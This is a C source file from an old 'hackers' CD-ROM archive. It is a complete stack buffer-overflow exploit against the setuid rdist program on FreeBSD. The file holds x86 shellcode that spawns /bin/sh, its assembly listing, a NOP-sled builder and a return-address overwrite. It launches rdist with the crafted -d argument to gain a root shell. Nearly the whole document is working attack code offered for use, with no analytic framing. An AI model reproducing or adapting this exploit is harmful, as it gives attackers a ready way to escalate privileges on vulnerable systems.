home *** CD-ROM | disk | FTP | other *** search
/ For Beginners & Professional Hackers / cd.iso / hackers / exploits / free-bsd / rdist.c < prev    next >
Encoding:
C/C++ Source or Header  |  1997-03-11  |  2.6 KB  |  114 lines

  1. #include <stdio.h>
  2.  
  3. #include <stdlib.h>
  4.  
  5. #include <unistd.h>
  6.  
  7.  
  8.  
  9. #define DEFAULT_OFFSET          50
  10.  
  11. #define BUFFER_SIZE             256
  12.  
  13.  
  14.  
  15. long get_esp(void)
  16.  
  17. {
  18.  
  19.    __asm__("movl %esp,%eax\n");
  20.  
  21. }
  22.  
  23.  
  24.  
  25. main(int argc, char **argv)
  26.  
  27. {
  28.  
  29.    char *buff = NULL;
  30.  
  31.    unsigned long *addr_ptr = NULL;
  32.  
  33.    char *ptr = NULL;
  34.  
  35.  
  36.  
  37. /* so you dont have to disassemble it, here is the asm code:
  38.  
  39. start:
  40.  
  41. jmp     endofk0dez
  42.  
  43. realstart:
  44.  
  45. popl    %esi
  46.  
  47. leal    (%esi), %ebx
  48.  
  49. movl    %ebx, 0x0b(%esi)
  50.  
  51. xorl    %edx, %edx
  52.  
  53. movl    %edx, 7(%esi)
  54.  
  55. movl    %edx, 0x0f(%esi)
  56.  
  57. movl    %edx, 0x14(%esi)
  58.  
  59. movb    %edx, 0x19(%esi)
  60.  
  61. xorl    %eax, %eax
  62.  
  63. movb    $59, %al
  64.  
  65. leal    0x0b(%esi), %ecx
  66.  
  67. movl    %ecx, %edx
  68.  
  69. pushl   %edx
  70.  
  71. pushl   %ecx
  72.  
  73. pushl   %ebx
  74.  
  75. pushl   %eax
  76.  
  77. jmp     bewm
  78.  
  79. endofk0dez:
  80.  
  81. call    realstart
  82.  
  83. .byte   '/', 'b', 'i', 'n', '/', 's', 'h'
  84.  
  85. .byte   1, 1, 1, 1
  86.  
  87. .byte   2, 2, 2, 2
  88.  
  89. .byte   3, 3, 3, 3
  90.  
  91. bewm:
  92.  
  93. .byte   0x9a, 4, 4, 4, 4, 7, 4
  94.  
  95. */
  96.  
  97.  
  98.  
  99.    char execshell[] =
  100.  
  101.    "\xeb\x23"
  102.  
  103.    "\x5e"
  104.  
  105.    "\x8d\x1e"
  106.  
  107.    "\x89\x5e\x0b"
  108.  
  109.    "\x31\xd2"
  110.  
  111.    "\x89\x56\x07"
  112.  
  113.    "\x89\x56\x0f"
  114.  
  115.    "\x89\x56\x14"
  116.  
  117.    "\x88\x56\x19"
  118.  
  119.    "\x31\xc0"
  120.  
  121.    "\xb0\x3b"
  122.  
  123.    "\x8d\x4e\x0b"
  124.  
  125.    "\x89\xca"
  126.  
  127.    "\x52"
  128.  
  129.    "\x51"
  130.  
  131.    "\x53"
  132.  
  133.    "\x50"
  134.  
  135.    "\xeb\x18"
  136.  
  137.    "\xe8\xd8\xff\xff\xff"
  138.  
  139.    "/bin/sh"
  140.  
  141.    "\x01\x01\x01\x01"
  142.  
  143.    "\x02\x02\x02\x02"
  144.  
  145.    "\x03\x03\x03\x03"
  146.  
  147.    "\x9a\x04\x04\x04\x04\x07\x04";
  148.  
  149.  
  150.  
  151.    int i;
  152.  
  153.    int ofs = DEFAULT_OFFSET;
  154.  
  155.  
  156.  
  157.    /* if we have a argument, use it as offset, else use default */
  158.  
  159.    if(argc == 2)
  160.  
  161.       ofs = atoi(argv[1]);
  162.  
  163.    /* print the offset in use */
  164.  
  165.    printf("Using offset of esp + %d (%x)\n", ofs, get_esp()+ofs);
  166.  
  167.  
  168.  
  169.    buff = malloc(4096);
  170.  
  171.    if(!buff)
  172.  
  173.    {
  174.  
  175.       printf("can't allocate memory\n");
  176.  
  177.       exit(0);
  178.  
  179.    }
  180.  
  181.    ptr = buff;
  182.  
  183.    /* fill start of buffer with nops */
  184.  
  185.    memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
  186.  
  187.    ptr += BUFFER_SIZE-strlen(execshell);
  188.  
  189.    /* stick asm code into the buffer */
  190.  
  191.    for(i=0;i < strlen(execshell);i++)
  192.  
  193.       *(ptr++) = execshell[i];
  194.  
  195.    /* write the return addresses
  196.  
  197.    **
  198.  
  199.    ** return address                            4
  200.  
  201.    ** ebp                                       4
  202.  
  203.    ** register unsigned n                       0
  204.  
  205.    ** register char *cp                         0
  206.  
  207.    ** register struct syment *s                 0
  208.  
  209.    **
  210.  
  211.    ** total: 8
  212.  
  213.    */
  214.  
  215.    addr_ptr = (long *)ptr;
  216.  
  217.    for(i=0;i < (8/4);i++)
  218.  
  219.       *(addr_ptr++) = get_esp() + ofs;
  220.  
  221.    ptr = (char *)addr_ptr;
  222.  
  223.    *ptr = 0;
  224.  
  225.    execl("/usr/bin/rdist", "rdist", "-d", buff, "-d", buff, NULL);
  226.  
  227. }